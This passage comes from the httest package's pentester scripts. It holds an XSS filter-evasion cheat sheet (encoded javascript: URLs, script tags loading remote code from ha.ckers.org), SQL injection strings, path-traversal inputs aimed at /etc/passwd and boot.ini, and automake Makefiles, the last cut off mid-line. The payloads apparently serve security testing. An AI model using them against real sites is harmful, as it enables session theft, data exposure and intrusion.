class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] Hex Encoding w/out Semicolons <IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29> Hex encoding without semicolons (this is also a viable XSS attack against the above string $tmp_string = ~ s/.*\&#(\d+);.*/$1/; which assumes that there is a numeric character following the pound symbol - which is not true with hex HTML characters). Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] UTF-7 Encoding <HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4- UTF-7 encoding - if the page that the XSS resides on doesn't provide a page charset header, or any browser that is set to UTF-7 encoding can be exploited with the following (Thanks to Roman Ivanov http://www.pixel-apes.com/ for this one). You don't need the charset statement if the user's browser is set to auto-detect and there is no overriding content-types on the page in Internet Explorer and Netscape 8.1 IE rendering engine mode). Watchfire http://seclists.org/lists/fulldisclosure/2005/Dec/1107.html found this hole in Google's custom 404 script. Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] Escaping JavaScript escapes \";alert('XSS');// Escaping JavaScript escapes. When the application is written to output some user information inside of a JavaScript like the following: <SCRIPT>var a="$ENV{QUERY_STRING}";</SCRIPT> and you want to inject your own JavaScript into it but the server side application escapes certain quotes you can circumvent that by escaping their escape character. When this is gets injected it will read <SCRIPT>var a="";alert('XSS');//";</SCRIPT> which ends up un-escaping the double quote and causing the Cross Site Scripting vector to fire. Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] End title tag </TITLE><SCRIPT>alert("XSS");</SCRIPT> This is a simple XSS vector that closes TITLE tags, which can encapsulate the malicious cross site scripting attack. Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] STYLE w/broken up JavaScript <STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE> STYLE tags with broken up JavaScript for XSS (this XSS at times sends IE into an infinite loop of alerts). Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] Embedded Tab <IMG SRC="jav ascript:alert('XSS');"> Embedded tab to break up the cross site scripting attack. Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] Embedded Encoded Tab <IMG SRC="jav&#x09;ascript:alert('XSS');"> Embedded encoded tab to break up XSS. For some reason Opera does not allow the encoded tab, but it does allow the previous tab XSS and encoded newline and carriage returns below. Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] Embedded Newline <IMG SRC="jav&#x0A;ascript:alert('XSS');"> Embedded newline to break up XSS. Some websites claim that any of the chars 09-13 (decimal) will work for this attack. That is incorrect. Only 09 (horizontal tab), 10 (newline) and 13 (carriage return) work. Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] Embedded Carriage Return <IMG SRC="jav&#x0D;ascript:alert('XSS');"> Embedded carriage return to break up XSS (Note: with the above I am making these strings longer than they have to be because the zeros could be omitted. Often I've seen filters that assume the hex and dec encoding has to be two or three characters. The real rule is 1-7 characters). Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] Multiline w/Carriage Returns <IMG SRC = " j a v a s c r i p t : a l e r t ( ' X S S ' ) " > Multiline Injected JavaScript using ASCII carriage returns (same as above only a more extreme example of this XSS vector). Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] Null Chars 1 perl -e 'print "<IMG SRC=java\0script:alert("XSS")>";'> out Okay, I lied, null chars also work as XSS vectors but not like above, you need to inject them directly using something like Burp Proxy (http://www.portswigger.net/proxy/) or use %00 in the URL string or if you want to write your own injection tool you can use Vim (^V^@ will produce a null) to generate it into a text file. Okay, I lied again, older versions of Opera (circa 7.11 on Windows) were vulnerable to one additional char 173 (the soft hyphen control char). But the null char %00 is much more useful and helped me bypass certain real world filters with a variation on this example. Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] Null Chars 2 perl -e 'print "&<SCR\0IPT>alert("XSS")</SCR\0IPT>";' > out Here is a little known XSS attack vector using null characters. You can actually break up the HTML itself using the same nulls as shown above. I've seen this vector bypass some of the most restrictive XSS filters to date Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] Spaces/Meta Chars <IMG SRC=" &#14; javascript:alert('XSS');"> Spaces and meta chars before the JavaScript in images for XSS (this is useful if the pattern match doesn't take into account spaces in the word "javascript:" - which is correct since that won't render- and makes the false assumption that you can't have a space between the quote and the "javascript:" keyword. The actual reality is you can have any char from 1-32 in decimal). Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] Non-Alpha/Non-Digit <SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT> Non-alpha-non-digit XSS. While I was reading the Firefox HTML parser I found that it assumes a non-alpha-non-digit is not valid after an HTML keyword and therefore considers it to be a whitespace or non-valid token after an HTML tag. The problem is that some XSS filters assume that the tag they are looking for is broken up by whitespace. For example "<SCRIPT\s" != "<SCRIPT/XSS\s" Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="ns">O8.54</span>] Non-Alpha/Non-Digit Part 2 <BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")> Non-alpha-non-digit XSS part 2. yawnmoth brought my attention to this vector, based on the same idea as above, however, I expanded on it, using my fuzzer. The Gecko rendering engine allows for any character other than letters, numbers or encapsulation chars (like quotes, angle brackets, etc...) between the event handler and the equals sign, making it easier to bypass cross site scripting blocks. Note that this does not apply to the grave accent char as seen here. Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="ns">O8.54</span>] No Closing Script Tag <SCRIPT SRC=http://ha.ckers.org/xss.js In Firefox and Netscape 8.1 in the Gecko rendering engine mode you don't actually need the "></SCRIPT>" portion of this Cross Site Scripting vector. Firefox assumes it's safe to close the HTML tag and add closing tags for you. How thoughtful! Unlike the next one, which doesn't affect Firefox, this does not require any additional HTML below it. You can add quotes if you need to, but they're not needed generally. Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="ns">O8.54</span>] Protocol resolution in script tags <SCRIPT SRC=//ha.ckers.org/.j> This particular variant was submitted by Lukasz Pilorz and was based partially off of Ozh's protocol resolution bypass below. This cross site scripting example works in IE, Netscape in IE rendering mode and Opera if you add in a </SCRIPT> tag at the end. However, this is especially useful where space is an issue, and of course, the shorter your domain, the better. The ".j" is valid, regardless of the MIME type because the browser knows it in context of a SCRIPT tag. Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="ns">O8.54</span>] Half-Open HTML/JavaScript <IMG SRC="javascript:alert('XSS')" Unlike Firefox, the IE rendering engine doesn't add extra data to your page, but it does allow the "javascript:" directive in images. This is useful as a vector because it doesn't require a close angle bracket. This assumes that there is at least one HTML tag below where you are injecting this cross site scripting vector. Even though there is no close > tag the tags below it will close it. A note: this does mess up the HTML, depending on what HTML is beneath it. See http://www.blackhat.com/presentations/bh-usa-04/bh-us-04-mookhey/bh-us-04-mookhey-up.ppt for more info. It gets around the following NIDS regex: /((\%3D)|(=))[^\n]*((\%3C)|<)[^\n]+((\%3E)|>)/ As a side note, this was also effective against a real world XSS filter I came across using an open ended <IFRAME tag instead of an <IMG tag. Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] Double open angle brackets <IFRAME SRC=http://ha.ckers.org/scriptlet.html < This is an odd one that Steven Christey brought to my attention. At first I misclassified this as the same XSS vector as above but it's surprisingly different. Using an open angle bracket at the end of the vector instead of a close angle bracket causes different behavior in Netscape Gecko rendering. Without it, Firefox will work but Netscape won't Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="ns">O8.54</span>] Extraneous Open Brackets <<SCRIPT>alert("XSS");//<</SCRIPT> (Submitted by Franz Sedlmaier http://www.pilorz.net/). This XSS vector could defeat certain detection engines that work by first using matching pairs of open and close angle brackets and then by doing a comparison of the tag inside, instead of a more efficient algorythm like Boyer-Moore (http://www.cs.utexas.edu/users/moore/best-ideas/string-searching/) that looks for entire string matches of the open angle bracket and associated tag (post de-obfuscation, of course). The double slash comments out the ending extraneous bracket to supress a JavaScript error. Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] Malformed IMG Tags <IMG """><SCRIPT>alert("XSS")</SCRIPT>"> Originally found by Begeek (http://www.begeek.it/2006/03/18/esclusivo-vulnerabilita-xss-in-firefox/#more-300 - cleaned up and shortened to work in all browsers), this XSS vector uses the relaxed rendering engine to create our XSS vector within an IMG tag that should be encapsulated within quotes. I assume this was originally meant to correct sloppy coding. This would make it significantly more difficult to correctly parse apart an HTML tag. Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] No Quotes/Semicolons <SCRIPT>a=/XSS/ alert(a.source)</SCRIPT> No single quotes or double quotes or semicolons. Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] Evade Regex Filter 1 <SCRIPT a=">" SRC="http://ha.ckers.org/xss.js"></SCRIPT> For performing XSS on sites that allow "<SCRIPT>" but don't allow "<SCRIPT SRC..." by way of the following regex filter: /<script[^>]+src/i Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] Evade Regex Filter 2 <SCRIPT ="blah" SRC="http://ha.ckers.org/xss.js"></SCRIPT> For performing XSS on sites that allow "<SCRIPT>" but don't allow "<SCRIPT SRC..." by way of a regex filter: /<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i (this is an important one, because I've seen this regex in the wild) Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] Evade Regex Filter 3 <SCRIPT a="blah" '' SRC="http://ha.ckers.org/xss.js"></SCRIPT> Another XSS to evade this regex filter: /<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] Evade Regex Filter 4 <SCRIPT "a='>'" SRC="http://ha.ckers.org/xss.js"></SCRIPT> Yet another XSS to evade the same filter: /<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i The only thing I've seen work against this XSS attack if you still want to allow <SCRIPT> tags but not remote scripts is a state machine (and of course there are other ways to get around this if they allow <SCRIPT> tags) Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] Evade Regex Filter 5 <SCRIPT a=`>` SRC="http://ha.ckers.org/xss.js"></SCRIPT> And one last XSS attack (using grave accents) to evade this regex: /<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] Filter Evasion 1 <SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://ha.ckers.org/xss.js"></SCRIPT> This XSS still worries me, as it would be nearly impossible to stop this without blocking all active content. Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] Filter Evasion 2 <SCRIPT a=">'>" SRC="http://ha.ckers.org/xss.js"></SCRIPT> Here's an XSS example that bets on the fact that the regex won't catch a matching pair of quotes but will rather find any quotes to terminate a parameter string improperly. Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] IP Encoding <A HREF="http://66.102.7.147/">XSS</A> URL string evasion (assuming "http://www.google.com/" is programmatically disallowed). Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] URL Encoding <A HREF="http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D">XSS</A> URL string evasion (assuming "http://www.google.com/" is programmatically disallowed). Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] Dword Encoding <A HREF="http://1113982867/">XSS</A> URL string evasion (assuming "http://www.google.com/" is programmatically disallowed). Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] Hex Encoding <A HREF="http://0x42.0x0000066.0x7.0x93/">XSS</A> URL string evasion (assuming "http://www.google.com/" is programmatically disallowed). The total size of each number allowed is somewhere in the neighborhood of 240 total characters as you can see on the second digit, and since the hex number is between 0 and F the leading zero on the third hex digit is not required. Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] Octal Encoding <A HREF="http://0102.0146.0007.00000223/">XSS</A> URL string evasion (assuming "http://www.google.com/" is programmatically disallowed). Padding is allowed, although you must keep it above 4 total characters per class - as in class A, class B, etc... Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] Mixed Encoding <A HREF="h tt p://6&#09;6.000146.0x7.147/">XSS</A> URL string evasion (assuming "http://www.google.com/" is programmatically disallowed). The tabs and newlines only work if this is encapsulated with quotes. Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] Protocol Resolution Bypass <A HREF="//www.google.com/">XSS</A> URL string evasion (assuming "http://www.google.com/" is programmatically disallowed). Protocol resolution bypass (// translates to http:// which saves a few more bytes). This is really handy when space is an issue too (two less characters can go a long way) and can easily bypass regex like "(ht|f)tp(s)?://" (thanks to Ozh (http://planetOzh.com/) for part of this one). You can also change the "//" to "\\". You do need to keep the slashes in place, however, otherwise this will be interpreted as a relative path URL. Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] Firefox Lookups 1 <A HREF="//google">XSS</A> Firefox uses Google's "feeling lucky" function to redirect the user to any keywords you type in. So if your exploitable page is the top for some random keyword (as you see here) you can use that feature against any Firefox user. This uses Firefox's "keyword:" protocol. You can concatenate several keywords by using something like the following "keyword:XSS+RSnake" Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="ns">O8.54</span>] Firefox Lookups 2 <A HREF="http://ha.ckers.org@google">XSS</A> This uses a very tiny trick that appears to work Firefox only, because if it's implementation of the "feeling lucky" function. Unlike the next one this does not work in Opera because Opera believes that this is the old HTTP Basic Auth phishing attack, which it is not. It's simply a malformed URL. If you click okay on the dialogue it will work, but as a result of the erroneous dialogue box I am saying that this is not supported in Opera. Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="ns">O8.54</span>] Firefox Lookups 3 <A HREF="http://google:ha.ckers.org">XSS</A> This uses a malformed URL that appears to work in Firefox and Opera only, because if their implementation of the "feeling lucky" function. Like all of the above it requires that you are #1 in Google for the keyword in question (in this case "google"). Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] Removing Cnames <A HREF="http://google.com/">XSS</A> URL string evasion (assuming "http://www.google.com/" is programmatically disallowed). When combined with the above URL, removing "www." will save an additional 4 bytes for a total byte savings of 9 for servers that have this set up properly. Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] Extra dot for Absolute DNS <A HREF="http://www.google.com./">XSS</A> URL string evasion (assuming "http://www.google.com/" is programmatically disallowed). Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] JavaScript Link Location <A HREF="javascript:document.location='http://www.google.com/'">XSS</A> URL string evasion (assuming "http://www.google.com/" is programmatically disallowed) JavaScript link location Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] Content Replace <A HREF="http://www.gohttp://www.google.com/ogle.com/">XSS</A> Content replace as an attack vector (assuming "http://www.google.com/" is programmatically replaced with null). I actually used a similar attack vector against a several separate real world XSS filters by using the conversion filter itself (like http://quickwired.com/kallahar/smallprojects/php_xss_filter_function.php) to help create the attack vector ("java&#x26;#x09;script:" was converted into "java&#x09;script:". Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] httest-2.4.8/scripts/pentester/bsqlAttacks.xml0000664000175100017510000000264412203674076016500 00000000000000 TEST 1'GRABBER_SQL_INJECTION OR 1' OR 1 OR 1=' OR OR 1=1 OR "OR "1"="1 OR 1' OR 1 OR 1=' AND 1' AND 1=1 OR 1=' AND 1 AND 1=1 AND " AND "1"="1 COMMENT ';-- ESCAPE \'; GRABBER_SQL_STATEMENT; -- EVASION 1 UNI/**/ON SELECT ALL FROM WHERE httest-2.4.8/scripts/pentester/Makefile.am0000664000175100017510000000016612203674076015533 00000000000000EXTRA_DIST= \ attacks.htb\ bsqlAttacks.xml\ filesAttacks.xml\ pentest.htt\ sqlAttacks.xml\ xssAttacks.xml httest-2.4.8/scripts/pentester/filesAttacks.xml0000664000175100017510000000174712203674076016644 00000000000000 HTTP Distant file http://www.google.com Windows local file insertion c:\\\\boot.ini Unix local file insertion /etc/passwd Unix local file insertion /etc/passwd\0 Windows local file insertion c:\\\\boot.ini\0 Unix local file insertion ../../../../../../../../../../etc/passwd Unix local file insertion ../../../../../../../../../../etc/passwd\0 Server boot local file insertion ../../../../../../../../../../boot.ini Server boot file insertion ../../../../../../../../../../boot.ini\0 httest-2.4.8/scripts/pentester/Makefile.in0000664000175100017510000002441312205603772015542 00000000000000# Makefile.in generated by automake 1.11.6 from Makefile.am. # @configure_input@ # Copyright (C) 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002, # 2003, 2004, 2005, 2006, 2007, 2008, 2009, 2010, 2011 Free Software # Foundation, Inc. # This Makefile.in is free software; the Free Software Foundation # gives unlimited permission to copy and/or distribute it, # with or without modifications, as long as this notice is preserved. # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY, to the extent permitted by law; without # even the implied warranty of MERCHANTABILITY or FITNESS FOR A # PARTICULAR PURPOSE. @SET_MAKE@ VPATH = @srcdir@ am__make_dryrun = \ { \ am__dry=no; \ case $$MAKEFLAGS in \ *\\[\ \ ]*) \ echo 'am--echo: ; @echo "AM" OK' | $(MAKE) -f - 2>/dev/null \ | grep '^AM OK$$' >/dev/null || am__dry=yes;; \ *) \ for am__flg in $$MAKEFLAGS; do \ case $$am__flg in \ *=*|--*) ;; \ *n*) am__dry=yes; break;; \ esac; \ done;; \ esac; \ test $$am__dry = yes; \ } pkgdatadir = $(datadir)/@PACKAGE@ pkgincludedir = $(includedir)/@PACKAGE@ pkglibdir = $(libdir)/@PACKAGE@ pkglibexecdir = $(libexecdir)/@PACKAGE@ am__cd = CDPATH="$${ZSH_VERSION+.}$(PATH_SEPARATOR)" && cd install_sh_DATA = $(install_sh) -c -m 644 install_sh_PROGRAM = $(install_sh) -c install_sh_SCRIPT = $(install_sh) -c INSTALL_HEADER = $(INSTALL_DATA) transform = $(program_transform_name) NORMAL_INSTALL = : PRE_INSTALL = : POST_INSTALL = : NORMAL_UNINSTALL = : PRE_UNINSTALL = : POST_UNINSTALL = : build_triplet = @build@ host_triplet = @host@ subdir = scripts/pentester DIST_COMMON = $(srcdir)/Makefile.am $(srcdir)/Makefile.in ACLOCAL_M4 = $(top_srcdir)/aclocal.m4 am__aclocal_m4_deps = $(top_srcdir)/m4/libtool.m4 \ $(top_srcdir)/m4/ltoptions.m4 $(top_srcdir)/m4/ltsugar.m4 \ $(top_srcdir)/m4/ltversion.m4 $(top_srcdir)/m4/lt~obsolete.m4 \ $(top_srcdir)/configure.in am__configure_deps = $(am__aclocal_m4_deps) $(CONFIGURE_DEPENDENCIES) \ $(ACLOCAL_M4) mkinstalldirs = $(install_sh) -d CONFIG_HEADER = $(top_builddir)/config/config.h CONFIG_CLEAN_FILES = CONFIG_CLEAN_VPATH_FILES = depcomp = am__depfiles_maybe = SOURCES = DIST_SOURCES = am__can_run_installinfo = \ case $$AM_UPDATE_INFO_DIR in \ n|no|NO) false;; \ *) (install-info --version) >/dev/null 2>&1;; \ esac DISTFILES = $(DIST_COMMON) $(DIST_SOURCES) $(TEXINFOS) $(EXTRA_DIST) ACLOCAL = @ACLOCAL@ AMTAR = @AMTAR@ AR = @AR@ AUTOCONF = @AUTOCONF@ AUTOHEADER = @AUTOHEADER@ AUTOMAKE = @AUTOMAKE@ AWK = @AWK@ CC = @CC@ CCDEPMODE = @CCDEPMODE@ CFLAGS = @CFLAGS@ CPP = @CPP@ CPPFLAGS = @CPPFLAGS@ CYGPATH_W = @CYGPATH_W@ DEFS = @DEFS@ DEPDIR = @DEPDIR@ DLLTOOL = @DLLTOOL@ DSYMUTIL = @DSYMUTIL@ DUMPBIN = @DUMPBIN@ ECHO_C = @ECHO_C@ ECHO_N = @ECHO_N@ ECHO_T = @ECHO_T@ EGREP = @EGREP@ EXEEXT = @EXEEXT@ FGREP = @FGREP@ GREP = @GREP@ HTTEST_MODULES = @HTTEST_MODULES@ INSTALL = @INSTALL@ INSTALL_DATA = @INSTALL_DATA@ INSTALL_PROGRAM = @INSTALL_PROGRAM@ INSTALL_SCRIPT = @INSTALL_SCRIPT@ INSTALL_STRIP_PROGRAM = @INSTALL_STRIP_PROGRAM@ LD = @LD@ LDFLAGS = @LDFLAGS@ LIBOBJS = @LIBOBJS@ LIBS = @LIBS@ LIBTOOL = @LIBTOOL@ LIPO = @LIPO@ LN_S = @LN_S@ LTLIBOBJS = @LTLIBOBJS@ MAKEINFO = @MAKEINFO@ MANIFEST_TOOL = @MANIFEST_TOOL@ MKDIR_P = @MKDIR_P@ NM = @NM@ NMEDIT = @NMEDIT@ OBJDUMP = @OBJDUMP@ OBJEXT = @OBJEXT@ OTOOL = @OTOOL@ OTOOL64 = @OTOOL64@ PACKAGE = @PACKAGE@ PACKAGE_BUGREPORT = @PACKAGE_BUGREPORT@ PACKAGE_NAME = @PACKAGE_NAME@ PACKAGE_STRING = @PACKAGE_STRING@ PACKAGE_TARNAME = @PACKAGE_TARNAME@ PACKAGE_URL = @PACKAGE_URL@ PACKAGE_VERSION = @PACKAGE_VERSION@ PATH_SEPARATOR = @PATH_SEPARATOR@ RANLIB = @RANLIB@ SED = @SED@ SET_MAKE = @SET_MAKE@ SHELL = @SHELL@ STRIP = @STRIP@ VERSION = @VERSION@ abs_builddir = @abs_builddir@ abs_srcdir = @abs_srcdir@ abs_top_builddir = @abs_top_builddir@ abs_top_srcdir = @abs_top_srcdir@ ac_ct_AR = @ac_ct_AR@ ac_ct_CC = @ac_ct_CC@ ac_ct_DUMPBIN = @ac_ct_DUMPBIN@ am__include = @am__include@ am__leading_dot = @am__leading_dot@ am__quote = @am__quote@ am__tar = @am__tar@ am__untar = @am__untar@ bindir = @bindir@ build = @build@ build_alias = @build_alias@ build_cpu = @build_cpu@ build_os = @build_os@ build_vendor = @build_vendor@ builddir = @builddir@ datadir = @datadir@ datarootdir = @datarootdir@ docdir = @docdir@ dvidir = @dvidir@ exec_prefix = @exec_prefix@ host = @host@ host_alias = @host_alias@ host_cpu = @host_cpu@ host_os = @host_os@ host_vendor = @host_vendor@ htmldir = @htmldir@ includedir = @includedir@ infodir = @infodir@ install_sh = @install_sh@ libdir = @libdir@ libexecdir = @libexecdir@ localedir = @localedir@ localstatedir = @localstatedir@ mandir = @mandir@ mkdir_p = @mkdir_p@ oldincludedir = @oldincludedir@ pdfdir = @pdfdir@ prefix = @prefix@ program_transform_name = @program_transform_name@ psdir = @psdir@ sbindir = @sbindir@ sharedstatedir = @sharedstatedir@ srcdir = @srcdir@ sysconfdir = @sysconfdir@ target_alias = @target_alias@ top_build_prefix = @top_build_prefix@ top_builddir = @top_builddir@ top_srcdir = @top_srcdir@ EXTRA_DIST = \ attacks.htb\ bsqlAttacks.xml\ filesAttacks.xml\ pentest.htt\ sqlAttacks.xml\ xssAttacks.xml all: all-am .SUFFIXES: $(srcdir)/Makefile.in: $(srcdir)/Makefile.am $(am__configure_deps) @for dep in $?; do \ case '$(am__configure_deps)' in \ *$$dep*) \ ( cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh ) \ && { if test -f $@; then exit 0; else break; fi; }; \ exit 1;; \ esac; \ done; \ echo ' cd $(top_srcdir) && $(AUTOMAKE) --gnu --ignore-deps scripts/pentester/Makefile'; \ $(am__cd) $(top_srcdir) && \ $(AUTOMAKE) --gnu --ignore-deps scripts/pentester/Makefile .PRECIOUS: Makefile Makefile: $(srcdir)/Makefile.in $(top_builddir)/config.status @case '$?' in \ *config.status*) \ cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh;; \ *) \ echo ' cd $(top_builddir) && $(SHELL) ./config.status $(subdir)/$@ $(am__depfiles_maybe)'; \ cd $(top_builddir) && $(SHELL) ./config.status $(subdir)/$@ $(am__depfiles_maybe);; \ esac; $(top_builddir)/config.status: $(top_srcdir)/configure $(CONFIG_STATUS_DEPENDENCIES) cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh $(top_srcdir)/configure: $(am__configure_deps) cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh $(ACLOCAL_M4): $(am__aclocal_m4_deps) cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh $(am__aclocal_m4_deps): mostlyclean-libtool: -rm -f *.lo clean-libtool: -rm -rf .libs _libs tags: TAGS TAGS: ctags: CTAGS CTAGS: distdir: $(DISTFILES) @srcdirstrip=`echo "$(srcdir)" | sed 's/[].[^$$\\*]/\\\\&/g'`; \ topsrcdirstrip=`echo "$(top_srcdir)" | sed 's/[].[^$$\\*]/\\\\&/g'`; \ list='$(DISTFILES)'; \ dist_files=`for file in $$list; do echo $$file; done | \ sed -e "s|^$$srcdirstrip/||;t" \ -e "s|^$$topsrcdirstrip/|$(top_builddir)/|;t"`; \ case $$dist_files in \ */*) $(MKDIR_P) `echo "$$dist_files" | \ sed 